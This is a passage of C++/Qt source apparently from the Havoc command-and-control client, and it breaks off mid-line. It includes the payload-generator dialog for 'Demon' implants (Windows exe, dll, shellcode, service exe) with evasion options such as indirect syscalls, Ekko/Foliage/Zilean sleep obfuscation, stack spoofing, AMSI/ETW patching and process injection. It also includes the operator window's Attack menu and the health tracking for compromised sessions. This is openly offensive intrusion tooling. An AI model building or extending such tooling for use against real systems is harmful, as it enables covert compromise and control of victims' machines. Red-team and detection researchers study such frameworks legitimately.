FileDialog.setAcceptMode( QFileDialog::AcceptSave ); FileDialog.setDirectory( QDir::homePath() ); FileDialog.selectFile( FileName ); if ( FileDialog.exec() == QFileDialog::Accepted ) { Filename = FileDialog.selectedUrls().value( 0 ).toLocalFile(); if ( ! Filename.toString().isNull() ) { // Save to file auto file = QFile( Filename.toString() ); auto messageBox = QMessageBox( ); if ( file.open( QIODevice::ReadWrite ) ) { file.write( ImplantArray ); } else { auto name = Filename.toString().toStdString(); spdlog::error( "Couldn't write to file {}", name ); } file.close(); messageBox.setWindowTitle( "Payload Generator" ); messageBox.setText( "Payload saved under: " + Filename.toString() ); messageBox.setIcon( QMessageBox::Information ); messageBox.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); messageBox.setMaximumSize( QSize(500, 500 ) ); messageBox.exec(); PayloadDialog->done( 0 ); } } } auto Payload::addConsoleLog( QString MsgType, QString Message ) -> void { Message = Message.replace( "\n", "
" ); if ( MsgType.compare( "Good" ) == 0 ) { ConsoleText->append( Util::ColorText::Green( "[+] " ) + Message ); } else if ( MsgType.compare( "Info" ) == 0 ) { ConsoleText->append( Util::ColorText::Cyan( "[*] " ) + Message ); } else if ( MsgType.compare( "Error" ) == 0 ) { ConsoleText->append( Util::ColorText::Red( "[-] " ) + Message ); } else if ( MsgType.compare( "Warning" ) == 0 || MsgType.compare( "Warn" ) == 0 ) { ConsoleText->append( Util::ColorText::Yellow( "[!] " ) + Message ); } else { ConsoleText->append( Util::ColorText::Yellow( "[^] " ) + Message ); } } auto Payload::CtxAgentPayloadChange( const QString& AgentType ) -> void { if ( ! Closed ) { for ( auto& Agent : HavocX::Teamserver.ServiceAgents ) { if ( AgentType.compare( Agent.Name ) == 0 ) { ComboFormat->clear(); ComboArch->clear(); AddConfigFromJson( Agent.BuildingConfig ); for ( const auto& Arch : Agent.Arch ) ComboArch->addItem( Arch ); for ( const auto& Format : Agent.Formats ) ComboFormat->addItem( Format.Name ); return; } } if ( AgentType.compare( "Demon" ) == 0 ) { // If agent not found means it's the default Demon DefaultConfig(); ComboFormat->clear(); ComboFormat->addItem( "Windows Exe" ); ComboFormat->addItem( "Windows Dll" ); ComboFormat->addItem( "Windows Shellcode" ); ComboFormat->addItem( "Windows Service Exe" ); ComboArch->clear(); ComboArch->addItem( "x64" ); ComboArch->addItem( "x86" ); } } } auto Payload::Clear() -> void { Closed = true; ComboAgentType->setCurrentIndex( 0 ); ComboListener->setCurrentIndex( 0 ); ComboFormat->setCurrentIndex( 0 ); ComboArch->setCurrentIndex( 0 ); ConsoleText->clear(); } auto Payload::AddConfigFromJson( QJsonDocument Config ) -> void { auto Object = Config.object(); TreeConfig->clear(); for ( const auto& Key : Object.keys() ) { auto KeyValue = Object[ Key ]; auto TreeItem = new QTreeWidgetItem( TreeConfig ); auto ObjectItem = ( QWidget* ) nullptr; TreeItem->setText( 0, Key ); TreeItem->setFlags( Qt::NoItemFlags ); if ( KeyValue.isBool() ) { ObjectItem = new QCheckBox; ObjectItem->setObjectName( "bool" ); ( ( QCheckBox* ) ObjectItem )->setChecked( KeyValue.toBool() ); auto p = ObjectItem->palette(); p.setColor( QPalette::Window, Qt::gray ); ObjectItem->setPalette( p ); TreeConfig->setItemWidget( TreeItem, 1, ObjectItem ); } else if ( KeyValue.isString() ) { ObjectItem = new QLineEdit; ObjectItem->setObjectName( "text" ); ( ( QLineEdit* ) ObjectItem )->setText( KeyValue.toString() ); TreeConfig->setItemWidget( TreeItem, 1, ObjectItem ); } else if ( KeyValue.isArray() ) { auto List = QStringList(); ObjectItem = new QComboBox; ObjectItem->setObjectName( "list" ); for ( auto item : KeyValue.toArray() ) List << item.toString(); ( ( QComboBox* ) ObjectItem )->addItems( List ); TreeConfig->setItemWidget( TreeItem, 1, ObjectItem ); } else if ( KeyValue.isObject() ) { auto SubObject = KeyValue.toObject(); for ( const auto& SubKey : SubObject.keys() ) { auto SubKeyValue = SubObject[ SubKey ]; auto TreeChildItem = new QTreeWidgetItem( TreeItem ); TreeChildItem->setText( 0, SubKey ); if ( SubKeyValue.isBool() ) { ObjectItem = new QCheckBox; ObjectItem->setObjectName( "bool" ); ( ( QCheckBox* ) ObjectItem )->setChecked( SubKeyValue.toBool() ); auto p = ObjectItem->palette(); p.setColor( QPalette::Window, Qt::gray ); ObjectItem->setPalette( p ); TreeConfig->setItemWidget( TreeChildItem, 1, ObjectItem ); } else if ( SubKeyValue.isString() ) { ObjectItem = new QLineEdit; ObjectItem->setObjectName( "text" ); ( ( QLineEdit* ) ObjectItem )->setText( SubKeyValue.toString() ); TreeConfig->setItemWidget( TreeChildItem, 1, ObjectItem ); } else if ( SubKeyValue.isArray() ) { auto List = QStringList(); ObjectItem = new QComboBox; ObjectItem->setObjectName( "list" ); for ( auto item : SubKeyValue.toArray() ) List << item.toString(); ( ( QComboBox* ) ObjectItem )->addItems( List ); TreeConfig->setItemWidget( TreeChildItem, 1, ObjectItem ); } } } } } auto Payload::DefaultConfig() -> void { TreeConfig->clear(); auto Format = ComboFormat->currentText(); auto DemonConfig = HavocX::Teamserver.DemonConfig; auto ConfigSleep = new QTreeWidgetItem( TreeConfig ); auto ConfigJitter = new QTreeWidgetItem( TreeConfig ); auto ConfigServiceName = ( QTreeWidgetItem* ) nullptr; auto ConfigServiceNameInput = ( QLineEdit* ) nullptr; if ( Format.compare( "Windows Service Exe" ) == 0 ) { ConfigServiceName = new QTreeWidgetItem( TreeConfig ); ConfigServiceNameInput = new QLineEdit( "DemonSvc" ); } auto ConfigIndirectSyscalls = new QTreeWidgetItem( TreeConfig ); auto ConfigSleepStackSpoof = new QTreeWidgetItem( TreeConfig ); auto ConfigSleepObfTechnique = new QTreeWidgetItem( TreeConfig ); auto ConfigSleepJmpBypass = new QTreeWidgetItem( TreeConfig ); auto ConfigProxyLoading = new QTreeWidgetItem( TreeConfig ); auto ConfigAmsiEtwPatch = new QTreeWidgetItem( TreeConfig ); auto ConfigInjection = new QTreeWidgetItem( TreeConfig ); auto ConfigInjectionAlloc = new QTreeWidgetItem( ConfigInjection ); auto ConfigInjectionExecute = new QTreeWidgetItem( ConfigInjection ); auto ConfigInjectionSpawn64 = new QTreeWidgetItem( ConfigInjection ); auto ConfigInjectionSpawn32 = new QTreeWidgetItem( ConfigInjection ); auto Jitter = DemonConfig[ "Jitter" ].toInt(); if ( Jitter < 0 || Jitter > 100 ) { Jitter = 0; } auto SleepObfTechnique = new QComboBox; auto SleepObfJmpBypass = new QComboBox; auto SleepObfSpoofAddress = new QLineEdit; auto ConfigSleepLineEdit = new QLineEdit( QString::number( DemonConfig[ "Sleep" ].toInt() ) ); auto ConfigJitterLineEdit = new QLineEdit( QString::number( Jitter ) ); auto ConfigIndSyscallCheck = new QCheckBox; auto ConfigInjectAlloc = new QComboBox; auto ConfigInjectExecute = new QComboBox; auto ConfigStackSpoof = new QCheckBox; auto ProxyLoading = new QComboBox; auto AmsiEtwPatch = new QComboBox; auto ConfigSpawn64LineEdit = new QLineEdit( DemonConfig[ "ProcessInjection" ].toObject()[ "Spawn64" ].toString() ); auto ConfigSpawn32LineEdit = new QLineEdit( DemonConfig[ "ProcessInjection" ].toObject()[ "Spawn32" ].toString() ); auto DefaultIndSyscallCheck = DemonConfig[ "IndirectSyscall" ].toBool(); auto DefaultStackDuplication = DemonConfig[ "StackDuplication" ].toBool(); auto DefaultSleepTechnique = DemonConfig[ "SleepTechnique" ].toString(); auto DefaultProxyLoading = DemonConfig[ "ProxyLoading" ].toString(); auto DefaultAmsiEtwPatching = DemonConfig[ "AmsiEtwPatching" ].toString(); ConfigSleep->setFlags( Qt::NoItemFlags ); ConfigJitter->setFlags( Qt::NoItemFlags ); if ( Format.compare( "Windows Service Exe" ) == 0 ) { ConfigServiceName->setFlags( Qt::NoItemFlags ); ConfigServiceNameInput->setObjectName( "ConfigItem" ); } ConfigIndirectSyscalls->setFlags( Qt::NoItemFlags ); ConfigInjection->setFlags( Qt::NoItemFlags ); ConfigProxyLoading->setFlags( Qt::NoItemFlags ); ConfigAmsiEtwPatch->setFlags( Qt::NoItemFlags ); ConfigSleepObfTechnique->setFlags( Qt::NoItemFlags ); ConfigSleepJmpBypass->setFlags( Qt::NoItemFlags ); ConfigSleepStackSpoof->setFlags( Qt::NoItemFlags ); ConfigInjectionSpawn64->setFlags( Qt::NoItemFlags ); ConfigInjectionSpawn32->setFlags( Qt::NoItemFlags ); ConfigSleepLineEdit->setObjectName( "ConfigItem" ); ConfigJitterLineEdit->setObjectName( "ConfigItem" ); ConfigIndSyscallCheck->setObjectName( "ConfigItem" ); ConfigStackSpoof->setObjectName( "ConfigItem" ); ConfigInjectAlloc->setObjectName( "ConfigItem" ); ConfigInjectExecute->setObjectName( "ConfigItem" ); ConfigSpawn64LineEdit->setObjectName( "ConfigItem" ); ConfigSpawn32LineEdit->setObjectName( "ConfigItem" ); SleepObfTechnique->setObjectName( "ConfigItem" ); SleepObfJmpBypass->setObjectName( "ConfigItem" ); SleepObfSpoofAddress->setObjectName( "ConfigItem" ); ProxyLoading->setObjectName( "ConfigItem" ); AmsiEtwPatch->setObjectName( "ConfigItem" ); ConfigIndSyscallCheck->setChecked( DefaultIndSyscallCheck ); ConfigStackSpoof->setChecked( DefaultStackDuplication ); SleepObfJmpBypass->addItems( QStringList() << "None" << "jmp rax" << "jmp rbx" ); ConfigInjectAlloc->addItems( QStringList() << "Win32" << "Native/Syscall" ); ConfigInjectExecute->addItems( QStringList() << "Win32" << "Native/Syscall" ); SleepObfTechnique->addItems( QStringList() << "WaitForSingleObjectEx" << "Foliage" << "Ekko" << "Zilean" ); ProxyLoading->addItems( QStringList() << "None (LdrLoadDll)" << "RtlRegisterWait" << "RtlCreateTimer" << "RtlQueueWorkItem" ); AmsiEtwPatch->addItems( QStringList() << "None" << "Hardware breakpoints" ); ConfigInjectAlloc->setCurrentIndex( 1 ); ConfigInjectExecute->setCurrentIndex( 1 ); SleepObfTechnique->setCurrentIndex( 0 ); if ( DefaultSleepTechnique == "WaitForSingleObjectEx" ) SleepObfTechnique->setCurrentIndex( 0 ); else if ( DefaultSleepTechnique == "Foliage" ) SleepObfTechnique->setCurrentIndex( 1 ); else if ( DefaultSleepTechnique == "Ekko" ) SleepObfTechnique->setCurrentIndex( 2 ); else if ( DefaultSleepTechnique == "Zilean" ) SleepObfTechnique->setCurrentIndex( 3 ); ProxyLoading->setCurrentIndex( 0 ); if ( DefaultProxyLoading == "None" ) ProxyLoading->setCurrentIndex( 0 ); else if ( DefaultProxyLoading == "RtlRegisterWait" ) ProxyLoading->setCurrentIndex( 1 ); else if ( DefaultProxyLoading == "RtlCreateTimer" ) ProxyLoading->setCurrentIndex( 2 ); else if ( DefaultProxyLoading == "RtlQueueWorkItem" ) ProxyLoading->setCurrentIndex( 3 ); AmsiEtwPatch->setCurrentIndex( 0 ); if ( DefaultAmsiEtwPatching == "None" ) AmsiEtwPatch->setCurrentIndex( 0 ); else if ( DefaultAmsiEtwPatching == "Hardware breakpoints" ) AmsiEtwPatch->setCurrentIndex( 1 ); TreeConfig->setItemWidget( ConfigSleep, 1, ConfigSleepLineEdit ); TreeConfig->setItemWidget( ConfigJitter, 1, ConfigJitterLineEdit ); if ( Format.compare( "Windows Service Exe" ) == 0 ) { TreeConfig->setItemWidget( ConfigServiceName, 1, ConfigServiceNameInput ); } TreeConfig->setItemWidget( ConfigIndirectSyscalls, 1, ConfigIndSyscallCheck ); TreeConfig->setItemWidget( ConfigSleepObfTechnique,1, SleepObfTechnique ); TreeConfig->setItemWidget( ConfigSleepJmpBypass, 1, SleepObfJmpBypass ); TreeConfig->setItemWidget( ConfigSleepStackSpoof, 1, ConfigStackSpoof ); TreeConfig->setItemWidget( ConfigProxyLoading, 1, ProxyLoading ); TreeConfig->setItemWidget( ConfigAmsiEtwPatch, 1, AmsiEtwPatch ); TreeConfig->setItemWidget( ConfigInjectionAlloc, 1, ConfigInjectAlloc ); TreeConfig->setItemWidget( ConfigInjectionExecute, 1, ConfigInjectExecute ); TreeConfig->setItemWidget( ConfigInjectionSpawn64, 1, ConfigSpawn64LineEdit ); TreeConfig->setItemWidget( ConfigInjectionSpawn32, 1, ConfigSpawn32LineEdit ); ConfigSleep->setText( 0, "Sleep" ); ConfigJitter->setText( 0, "Jitter" ); if ( Format.compare( "Windows Service Exe" ) == 0 ) { ConfigServiceName->setText( 0, "Service Name" ); } ConfigIndirectSyscalls->setText( 0, "Indirect Syscall" ); ConfigSleepObfTechnique->setText( 0, "Sleep Technique" ); ConfigSleepJmpBypass->setText( 0, "Sleep Jmp Gadget" ); ConfigSleepStackSpoof->setText( 0, "Stack Duplication" ); ConfigProxyLoading->setText( 0, "Proxy Loading" ); ConfigAmsiEtwPatch->setText( 0, "Amsi/Etw Patch" ); ConfigInjection->setText( 0, "Injection" ); ConfigInjection->setExpanded( true ); ConfigInjection->addChild( ConfigInjectionSpawn64 ); ConfigInjection->addChild( ConfigInjectionSpawn32 ); ConfigInjectionAlloc->setText( 0, "Alloc" ); ConfigInjectionExecute->setText( 0, "Execute" ); ConfigInjectionSpawn64->setText( 0, "Spawn64" ); ConfigInjectionSpawn32->setText( 0, "Spawn32" ); } auto Payload::GetConfigAsJson() -> QJsonDocument { auto ConfigJson = QJsonDocument(); auto JsonObject = QJsonObject(); auto SubObjects = map(); auto TreeIterator = QTreeWidgetItemIterator( TreeConfig ); while ( *TreeIterator ) { auto Parent = QString(); auto Name = QString(); auto ObjType = QString(); auto Object = ( QWidget* ) nullptr; if ( ( *TreeIterator )->parent() ) Parent = ( *TreeIterator )->parent()->text( 0 ); Name = ( *TreeIterator )->text( 0 ); if ( TreeConfig->itemWidget( ( *TreeIterator ), 1 ) ) { ObjType = TreeConfig->itemWidget( ( *TreeIterator ), 1 )->metaObject()->className(); } if ( Parent.isEmpty() ) { if ( ! ObjType.isEmpty() ) { Object = TreeConfig->itemWidget( ( *TreeIterator ), 1 ); if ( ObjType.compare( "QComboBox" ) == 0 ) { JsonObject.insert( Name, QJsonValue::fromVariant( ( ( QComboBox* ) Object )->currentText() ) ); } else if ( ObjType.compare( "QCheckBox" ) == 0 ) { JsonObject.insert( Name, QJsonValue::fromVariant( ( ( QCheckBox* ) Object )->isChecked() ) ); } else if ( ObjType.compare( "QLineEdit" ) == 0 ) { JsonObject.insert( Name, QJsonValue::fromVariant( ( ( QLineEdit* ) Object )->text() ) ); } else { auto obj = ObjType.toStdString(); spdlog::error( "ObjType not found: {}", obj ); ++TreeIterator; continue; } } } else { Object = TreeConfig->itemWidget( ( *TreeIterator ), 1 ); if ( ObjType.compare( "QComboBox" ) == 0 ) { SubObjects[ Parent ].insert( Name, QJsonValue::fromVariant( ( ( QComboBox* ) Object )->currentText() ) ); } else if ( ObjType.compare( "QCheckBox" ) == 0 ) { SubObjects[ Parent ].insert( Name, QJsonValue::fromVariant( ( ( QCheckBox* ) Object )->isChecked() ) ); } else if ( ObjType.compare( "QLineEdit" ) == 0 ) { SubObjects[ Parent ].insert( Name, QJsonValue::fromVariant( ( ( QLineEdit* ) Object )->text() ) ); } else { auto obj = ObjType.toStdString(); spdlog::error( "ObjType not found: {}", obj ); ++TreeIterator; continue; } } ++TreeIterator; } for ( const auto& object : SubObjects ) { JsonObject.insert( object.first, object.second ); } ConfigJson.setObject( JsonObject ); return ConfigJson; } auto Payload::Start() -> void { ComboAgentType->clear(); ComboListener->clear(); ComboFormat->clear(); ComboArch->clear(); ConsoleText->clear(); TreeConfig->clear(); retranslateUi(); PayloadDialog->show(); } ================================================ FILE: client/src/UserInterface/HavocUi.cc ================================================ #include // Headers for UserInterface #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include using namespace HavocNamespace::HavocSpace; void HavocNamespace::UserInterface::HavocUi::setupUi(QMainWindow *Havoc) { HavocWindow = Havoc; if ( HavocWindow->objectName().isEmpty() ) { HavocWindow->setObjectName( QString::fromUtf8( "HavocWindow " ) ); } HavocWindow->resize( 1399, 821 ); HavocWindow->setStyleSheet( FileRead( ":/stylesheets/Havoc" ) ); actionNew_Client = new QAction( HavocWindow ); actionNew_Client->setObjectName( QString::fromUtf8( "NewClient" ) ); actionChat = new QAction( HavocWindow ); actionChat->setObjectName( QString::fromUtf8( "actionChat" ) ); actionPreferences = new QAction( HavocWindow ); actionPreferences->setObjectName( QString::fromUtf8( "actionPreferences" ) ); actionPreferences->setIcon( QIcon( ":/icons/settings" ) ); actionPreferences->setShortcut( QKeySequence( "Ctrl+Alt+s" ) ); actionDisconnect = new QAction( HavocWindow ); actionDisconnect->setObjectName( QString::fromUtf8( "actionDisconnect" ) ); actionExit = new QAction( HavocWindow ); actionExit->setObjectName( QString::fromUtf8( "actionExit" ) ); actionTeamserver = new QAction( HavocWindow ); actionTeamserver->setObjectName( QString::fromUtf8( "actionTeamserver" ) ); actionStore = new QAction( HavocWindow ); actionStore->setObjectName( QString::fromUtf8( "actionStore" ) ); actionGeneratePayload = new QAction( HavocWindow ); actionGeneratePayload->setObjectName( QString::fromUtf8( "actionGeneratePayload" ) ); actionLoad_Script = new QAction( HavocWindow ); actionLoad_Script->setObjectName( QString::fromUtf8( "actionLoad_Script" ) ); actionPythonConsole = new QAction( HavocWindow ); actionPythonConsole->setObjectName( QString::fromUtf8( "actionPythonConsole" ) ); actionAbout = new QAction( HavocWindow ); actionAbout->setObjectName( QString::fromUtf8( "actionAbout" ) ); actionOpen_Help_Documentation = new QAction( HavocWindow ); actionOpen_Help_Documentation->setObjectName( QString::fromUtf8( "actionOpen_Help_Documentation" ) ); actionOpen_API_Reference = new QAction( HavocWindow ); actionOpen_API_Reference->setObjectName( QString::fromUtf8( "actionOpen_API_Reference" ) ); actionGithub_Repository = new QAction( HavocWindow ); actionGithub_Repository->setObjectName( QString::fromUtf8( "actionGithub_Repository" ) ); actionListeners = new QAction( HavocWindow ); actionListeners->setObjectName( QString::fromUtf8( "actionListeners" ) ); actionSessionsTable = new QAction( HavocWindow ); actionSessionsTable->setObjectName( QString::fromUtf8( "actionSessionsTable" ) ); actionSessionsGraph = new QAction( HavocWindow ); actionSessionsGraph->setObjectName( QString::fromUtf8( "actionSessionsGraph" ) ); actionLogs = new QAction( HavocWindow ); actionLogs->setObjectName( QString::fromUtf8( "actionLogs" ) ); actionLoot = new QAction( HavocWindow ); actionLoot->setObjectName( QString::fromUtf8( "actionLoot" ) ); centralwidget = new QWidget( HavocWindow ); centralwidget->setObjectName( QString::fromUtf8( "centralwidget" ) ); gridLayout_3 = new QGridLayout( centralwidget ); gridLayout_3->setObjectName( QString::fromUtf8( "gridLayout_3" ) ); gridLayout_3->setContentsMargins( 0, 0, 0, 0 ); TeamserverTabWidget = new QTabWidget( centralwidget ); TeamserverTabWidget->setObjectName( QString::fromUtf8( "TeamserverTabWidget" ) ); TeamserverTabWidget->setStyleSheet( FileRead( ":/stylesheets/teamserverTab" ) ); TeamserverTabWidget->setTabBarAutoHide( true ); TeamserverTabWidget->setTabsClosable( true ); /* TODO: refactor this. */ HavocX::Teamserver.TabSession = new UserInterface::Widgets::TeamserverTabSession; HavocX::Teamserver.TabSession->setupUi( new QWidget, HavocX::Teamserver.Name ); TeamserverTabWidget->setCurrentIndex( TeamserverTabWidget->addTab( HavocX::Teamserver.TabSession->PageWidget, HavocX::Teamserver.Name ) ); gridLayout_3->addWidget( TeamserverTabWidget, 0, 0, 1, 1 ); menubar = new QMenuBar( this->HavocWindow ); menubar->setObjectName( QString::fromUtf8( "menubar" ) ); menubar->setGeometry( QRect( 0, 0, 1143, 20 ) ); menubar->setStyleSheet( FileRead( ":/stylesheets/menubar" ) ); menuHavoc = new QMenu( menubar ); menuView = new QMenu( menubar ); menuAttack = new QMenu( menubar ); MenuSession = new QMenu( menubar ); menuScripts = new QMenu( menubar ); menuHelp = new QMenu( menubar ); menuHavoc->setObjectName( QString::fromUtf8( "menuHavoc" ) ); menuView->setObjectName( QString::fromUtf8( "menuView" ) ); menuAttack->setObjectName( QString::fromUtf8( "menuAttack" ) ); HavocWindow->setMenuBar( menubar ); menuScripts->setObjectName( QString::fromUtf8( "menuScripts" ) ); menuHelp->setObjectName( QString::fromUtf8( "menuHelp" ) ); statusbar = new QStatusBar( HavocWindow ); statusbar->setObjectName( QString::fromUtf8( "statusbar" ) ); statusbar->setLayoutDirection( Qt::LayoutDirection::RightToLeft ); statusbar->setSizeGripEnabled( false ); statusbar->setVisible( false ); // change that by setting HavocWindow->setStatusBar( statusbar ); menubar->addAction( menuHavoc->menuAction() ); menubar->addAction( menuView->menuAction() ); menubar->addAction( menuAttack->menuAction() ); menubar->addAction( menuScripts->menuAction() ); menubar->addAction( menuHelp->menuAction() ); menuHavoc->addAction( actionNew_Client ); menuHavoc->addSeparator(); menuHavoc->addAction( actionDisconnect ); menuHavoc->addAction( actionExit ); MenuSession->addAction( actionSessionsTable ); MenuSession->addAction( actionSessionsGraph ); menuView->addAction( actionListeners ); menuView->addSeparator(); menuView->addAction( MenuSession->menuAction() ); menuView->addSeparator(); menuView->addAction( actionChat ); menuView->addAction( actionLoot ); menuView->addSeparator(); menuView->addAction( actionLogs ); menuView->addAction( actionTeamserver ); menuAttack->addAction( actionGeneratePayload ); menuAttack->addAction( actionStore ); menuScripts->addAction( actionLoad_Script ); menuScripts->addAction( actionPythonConsole ); menuHelp->addAction( actionAbout ); menuHelp->addSeparator(); menuHelp->addAction( actionOpen_Help_Documentation ); menuHelp->addAction( actionOpen_API_Reference ); menuHelp->addSeparator(); menuHelp->addAction( actionGithub_Repository ); /* prepare python interpreter */ PythonPrepare(); /* connect events & buttons */ ConnectEvents(); /* set text for each action, button and widget */ retranslateUi( HavocWindow ); QMetaObject::connectSlotsByName( HavocWindow ); } void HavocNamespace::UserInterface::HavocUi::OneSecondTick() { } void HavocNamespace::UserInterface::HavocUi::MarkSessionAs(HavocNamespace::Util::SessionItem Session, QString Mark) { for ( int i = 0; i < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->rowCount(); i++ ) { auto AgentID = HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->text(); if ( Session.Name.compare( AgentID ) == 0 ) { auto Package = new Util::Packager::Package; QString Marked; if ( Mark.compare( "Alive" ) == 0 ) { Marked = "Alive"; Session.Marked = Marked; auto Icon = ( Session.Elevated.compare( "true" ) == 0 ) ? WinVersionIcon( Session.OS, true ) : WinVersionIcon( Session.OS, false ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( Icon ); for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ ) { HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::Background ) ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Foreground ) ); } } else if ( Mark.compare( "Dead" ) == 0 ) { Marked = "Dead"; Session.Marked = Marked; HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( QIcon( ":/icons/DeadWhite" ) ); for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ ) { HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::CurrentLine ) ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Comment ) ); } } Package->Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::MarkAs, .Info = { { "AgentID", AgentID.toStdString() }, { "Marked", Marked.toStdString() }, } }; HavocX::Connector->SendPackage( Package ); break; } } } void HavocNamespace::UserInterface::HavocUi::UpdateSessionsHealth() { for ( auto& session : HavocX::Teamserver.Sessions ) { if ( session.Marked.compare( "Dead" ) == 0 ) continue; auto Now = QDateTime::currentDateTimeUtc(); auto diff = session.LastUTC.secsTo( Now ); auto seconds = QDateTime::fromTime_t( diff ).toUTC().toString("s"); auto minutes = QDateTime::fromTime_t( diff ).toUTC().toString("m"); auto hours = QDateTime::fromTime_t( diff ).toUTC().toString("h"); auto days = QDateTime::fromTime_t( diff ).toUTC().toString("d"); if ( diff < 60 ) { session.Last = QString("%1s").arg(seconds); HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue(session.Name, 8, session.Last.toStdString().c_str()); } else if ( diff < 60 * 60 ) { session.Last = QString("%1m %2s").arg(minutes, seconds); HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue(session.Name, 8, session.Last.toStdString().c_str()); } else if ( diff < 24 * 60 * 60 ) { session.Last = QString("%1h %2m").arg(hours, minutes); HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue(session.Name, 8, session.Last.toStdString().c_str()); } else { session.Last = QString("%1d %2h").arg(days, hours); HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue(session.Name, 8, session.Last.toStdString().c_str()); } // it is very normal for agents to delay three second due to network latency auto AllowedDiff = 3; if ( session.KillDate > 0 ) { auto UNIX_TIME_START = 0x019DB1DED53E8000; //January 1, 1970 (start of Unix epoch) in "ticks" auto TICKS_PER_SECOND = 10000000; //a tick is 100ns auto KillDateInEpoch = ( session.KillDate - UNIX_TIME_START ) / TICKS_PER_SECOND; if ( Now.secsTo( QDateTime::fromSecsSinceEpoch( KillDateInEpoch, Qt::UTC ) ) <= 0 ) { // agent reached its killdate session.Health = "killdate"; session.Marked = "Dead"; HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue( session.Name, 9, session.Health ); MarkSessionAs( session, QString( "Dead") ); continue; } } if ( ( ( session.WorkingHours >> 22 ) & 1 ) == 1 ) { uint32_t StartHour = ( session.WorkingHours >> 17 ) & 0b011111; uint32_t StartMinute = ( session.WorkingHours >> 11 ) & 0b111111; uint32_t EndHour = ( session.WorkingHours >> 6 ) & 0b011111; uint32_t EndMinute = ( session.WorkingHours >> 0 ) & 0b111111; bool isOffHours = false; if ( StartHour < Now.time().hour() || EndHour > Now.time().hour() ) { isOffHours = true; } if ( StartHour == Now.time().hour() && StartMinute < Now.time().minute() ) { isOffHours = true; } if ( EndHour == Now.time().hour() && EndMinute > Now.time().minute() ) { isOffHours = true; } if ( isOffHours ) { // agent is offhours session.Health = "offhours"; HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue(session.Name, 9, session.Health); continue; } } if ( diff - AllowedDiff < session.SleepDelay + ( session.SleepDelay * 0.01 * session.SleepJitter ) ) { // agent has ping back in time session.Health = "healthy"; HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue( session.Name, 9, session.Health ); continue; } else { // agent has not pinged back in time session.Health = "unresponsive"; HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue( session.Name, 9, session.Health ); continue; } } } void HavocNamespace::UserInterface::HavocUi::retranslateUi(QMainWindow* Havoc ) const { Havoc->setWindowTitle( "Havoc" ); actionNew_Client->setText( "New Client" ); actionChat->setText( "Teamserver Chat" ); actionDisconnect->setText( "Disconnect" ); actionExit->setText( "Exit" ); actionTeamserver->setText( "Teamserver" ); actionStore->setText( "Extentions" ); actionGeneratePayload->setText( "Payload" ); actionLoad_Script->setText( "Scripts Manager" ); actionPythonConsole->setText( "Script Console" ); actionAbout->setText( "About" ); actionOpen_Help_Documentation->setText( "Open Documentation" ); actionOpen_API_Reference->setText( "Open API Reference" ); actionGithub_Repository->setText( "Github Repository" ); actionListeners->setText( "Listeners" ); actionSessionsTable->setText( "Table" ); actionSessionsGraph->setText( "Graph" ); actionLogs->setText( "Event Viewer" ); actionLoot->setText( "Loot" ); menuHavoc->setTitle( "Havoc" ); menuView->setTitle( "View" ); menuAttack->setTitle( "Attack" ); menuScripts->setTitle( "Scripts" ); menuHelp->setTitle( "Help" ); MenuSession->setTitle( "Session View" ); HavocWindow->setFocus(); HavocWindow->showMaximized(); } void HavocNamespace::UserInterface::HavocUi::ConnectEvents() { auto OneSecondTimer = new QTimer( this ); QMainWindow::connect( OneSecondTimer, &QTimer::timeout, this, [&]() { UpdateSessionsHealth(); } ); OneSecondTimer->start(1000); QMainWindow::connect( actionNew_Client, &QAction::triggered, this, []() { QProcess::startDetached( QCoreApplication::applicationFilePath(), QStringList{""} ); } ); QMainWindow::connect( actionChat, &QAction::triggered, this, [&](){ auto Teamserver = HavocX::Teamserver.TabSession; if ( Teamserver->TeamserverChat == nullptr ) { Teamserver->TeamserverChat = new Widgets::Chat; Teamserver->TeamserverChat->setupUi(new QWidget); Teamserver->TeamserverName = HavocX::Teamserver.Name; } NewBottomTab( Teamserver->TeamserverChat->ChatWidget, "Teamserver Chat" ); } ); QMainWindow::connect( actionDisconnect, &QAction::triggered, this, []() { if ( HavocX::Connector != nullptr ) { HavocX::Connector->Disconnect(); MessageBox( "Disconnected", "Disconnected from " + HavocX::Teamserver.Name, QMessageBox::Information ); } else { MessageBox( "Error", "Couldn't disconnect from " + HavocX::Teamserver.Name, QMessageBox::Critical ); } } ); QMainWindow::connect( actionExit, &QAction::triggered, this, []() { Havoc::Exit(); } ); QMainWindow::connect( actionSessionsTable, &QAction::triggered, this, []() { HavocX::Teamserver.TabSession->MainViewWidget->setCurrentIndex( 0 ); } ); QMainWindow::connect( actionListeners, &QAction::triggered, this, [&](){ auto Teamserver = HavocX::Teamserver.TabSession; if ( Teamserver->ListenerTableWidget == nullptr ) { Teamserver->ListenerTableWidget = new Widgets::ListenersTable; Teamserver->ListenerTableWidget->setupUi(new QWidget); Teamserver->ListenerTableWidget->setDBManager(this->dbManager); Teamserver->ListenerTableWidget->TeamserverName = 